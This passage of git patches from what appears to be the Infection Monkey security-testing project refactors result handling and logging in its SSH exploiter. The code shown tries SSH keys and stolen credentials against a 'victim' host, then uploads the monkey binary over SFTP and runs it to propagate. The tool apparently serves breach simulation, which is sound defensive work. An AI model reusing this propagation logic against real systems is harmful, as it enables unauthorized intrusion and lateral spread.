in self._TARGET_OS_TYPE - def send_exploit_telemetry(self, name: str, result: bool): - from infection_monkey.telemetry.exploit_telem import ExploitTelem - - ExploitTelem( # stale code - name=name, - host=self.host, - result=result, - info=self.exploit_info, - attempts=self.exploit_attempts, - ).send() - def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): self.exploit_attempts.append( { From e993998432ce24be4310c3041d4f16ae3944f0b8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 18:24:54 +0530 Subject: [PATCH 11/12] Agent: Make ExploiterResultData a dataclass instead of a named tuple and modify HostExploiter and the SSH exploiter accordingly --- .../infection_monkey/exploit/HostExploiter.py | 21 +---- monkey/infection_monkey/exploit/sshexec.py | 76 +++++++++---------- monkey/infection_monkey/i_puppet/i_puppet.py | 17 +++-- 3 files changed, 53 insertions(+), 61 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 7c3750b03..b74dc3871 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -85,14 +85,9 @@ class HostExploiter: return result def pre_exploit(self): - self.exploit_result = { - "exploitation_success": False, - "propagation_success": False, - "os": self.host.os.get("type"), - "info": self.exploit_info, - "attempts": self.exploit_attempts, - "error_message": "", - } + self.exploit_result = ExploiterResultData( + os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts + ) self.set_start_time() def post_exploit(self): @@ -115,13 +110,3 @@ class HostExploiter: """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - - def return_exploit_result_data(self) -> ExploiterResultData: - return ExploiterResultData( - self.exploit_result["exploitation_success"], - self.exploit_result["propagation_success"], - self.exploit_result["os"], - self.exploit_result["info"], - self.exploit_result["attempts"], - self.exploit_result["error_message"], - ) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 3fcf4605f..a8a585bed 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -111,22 +111,22 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - self.exploit_result["error_message"] = f"SSH port is closed on {self.host}, skipping" + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - logger.info(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.info(self.exploit_result.error_message) + return self.exploit_result try: ssh = self.exploit_with_ssh_keys(port) - self.exploit_result["exploitation_success"] = True + self.exploit_result.exploitation_success = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) - self.exploit_result["exploitation_success"] = True + self.exploit_result.exploitation_success = True except FailedExploitationError: - self.exploit_result["error_message"] = "Exploiter SSHExploiter is giving up..." - logger.debug(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." + logger.debug(self.exploit_result.error_message) + return self.exploit_result if not self.host.os.get("type"): try: @@ -134,20 +134,20 @@ class SSHExploiter(HostExploiter): uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.host.os["type"] = "linux" - self.exploit_result["os"] = "linux" + self.exploit_result.os = "linux" else: - self.exploit_result["error_message"] = f"SSH Skipping unknown os: {uname_os}" + self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" if not uname_os: - logger.error(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.error(self.exploit_result.error_message) + return self.exploit_result except Exception as exc: - self.exploit_result[ - "error_message" - ] = f"Error running uname os command on victim {self.host}: ({exc})" + self.exploit_result.error_message = ( + f"Error running uname os command on victim {self.host}: ({exc})" + ) - logger.debug(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.debug(self.exploit_result.error_message) + return self.exploit_result if not self.host.os.get("machine"): try: @@ -156,20 +156,20 @@ class SSHExploiter(HostExploiter): if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: - self.exploit_result[ - "error_message" - ] = f"Error running uname machine command on victim {self.host}: ({exc})" - logger.error(self.exploit_result["error_message"]) + self.exploit_result.error_message = ( + f"Error running uname machine command on victim {self.host}: ({exc})" + ) + logger.error(self.exploit_result.error_message) src_path = get_target_monkey(self.host) if not src_path: - self.exploit_result[ - "error_message" - ] = f"Can't find suitable monkey executable for host {self.host}" + self.exploit_result.error_message = ( + f"Can't find suitable monkey executable for host {self.host}" + ) - logger.info(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.info(self.exploit_result.error_message) + return self.exploit_result try: ftp = ssh.open_sftp() @@ -193,10 +193,10 @@ class SSHExploiter(HostExploiter): ) ftp.close() except Exception as exc: - self.exploit_result[ - "error_message" - ] = f"Error uploading file into victim {self.host}: ({exc})" - logger.error(self.exploit_result["error_message"]) + self.exploit_result.error_message = ( + f"Error uploading file into victim {self.host}: ({exc})" + ) + logger.error(self.exploit_result.error_message) status = ScanStatus.SCANNED self.telemetry_messenger.send_telemetry( @@ -205,7 +205,7 @@ class SSHExploiter(HostExploiter): ) ) if status == ScanStatus.SCANNED: - return self.return_exploit_result_data() + return self.exploit_result try: cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) @@ -220,16 +220,16 @@ class SSHExploiter(HostExploiter): cmdline, ) - self.exploit_result["propagation_success"] = True + self.exploit_result.propagation_success = True ssh.close() self.add_executed_cmd(cmdline) - return self.return_exploit_result_data() + return self.exploit_result except Exception as exc: - self.exploit_result[ - "error_message" - ] = f"Error running monkey on victim {self.host}: ({exc})" + self.exploit_result.error_message = ( + f"Error running monkey on victim {self.host}: ({exc})" + ) - logger.error(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.error(self.exploit_result.error_message) + return self.exploit_result diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 78c0c9659..0a4cdd2dd 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -1,8 +1,9 @@ import abc import threading from collections import namedtuple +from dataclasses import dataclass from enum import Enum -from typing import Dict, List, Sequence +from typing import Dict, Iterable, List, Mapping, Sequence from . import Credentials, PluginType @@ -16,10 +17,16 @@ class UnknownPluginError(Exception): pass -ExploiterResultData = namedtuple( - "ExploiterResultData", - ["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"], -) +@dataclass +class ExploiterResultData: + exploitation_success: bool = False + propagation_success: bool = False + os: str = "" + info: Mapping = None + attempts: Iterable = None + error_message: str = "" + + PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) From 0f0edc3439baba1b29ff3d712dba113f2f1fcd58 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 09:08:28 -0500 Subject: [PATCH 12/12] Agent: Log error messages at error level in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index a8a585bed..4cbfd1e5c 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -125,7 +125,7 @@ class SSHExploiter(HostExploiter): self.exploit_result.exploitation_success = True except FailedExploitationError: self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." - logger.debug(self.exploit_result.error_message) + logger.error(self.exploit_result.error_message) return self.exploit_result if not self.host.os.get("type"): @@ -146,7 +146,7 @@ class SSHExploiter(HostExploiter): f"Error running uname os command on victim {self.host}: ({exc})" ) - logger.debug(self.exploit_result.error_message) + logger.error(self.exploit_result.error_message) return self.exploit_result if not self.host.os.get("machine"): @@ -168,7 +168,7 @@ class SSHExploiter(HostExploiter): f"Can't find suitable monkey executable for host {self.host}" ) - logger.info(self.exploit_result.error_message) + logger.error(self.exploit_result.error_message) return self.exploit_result try: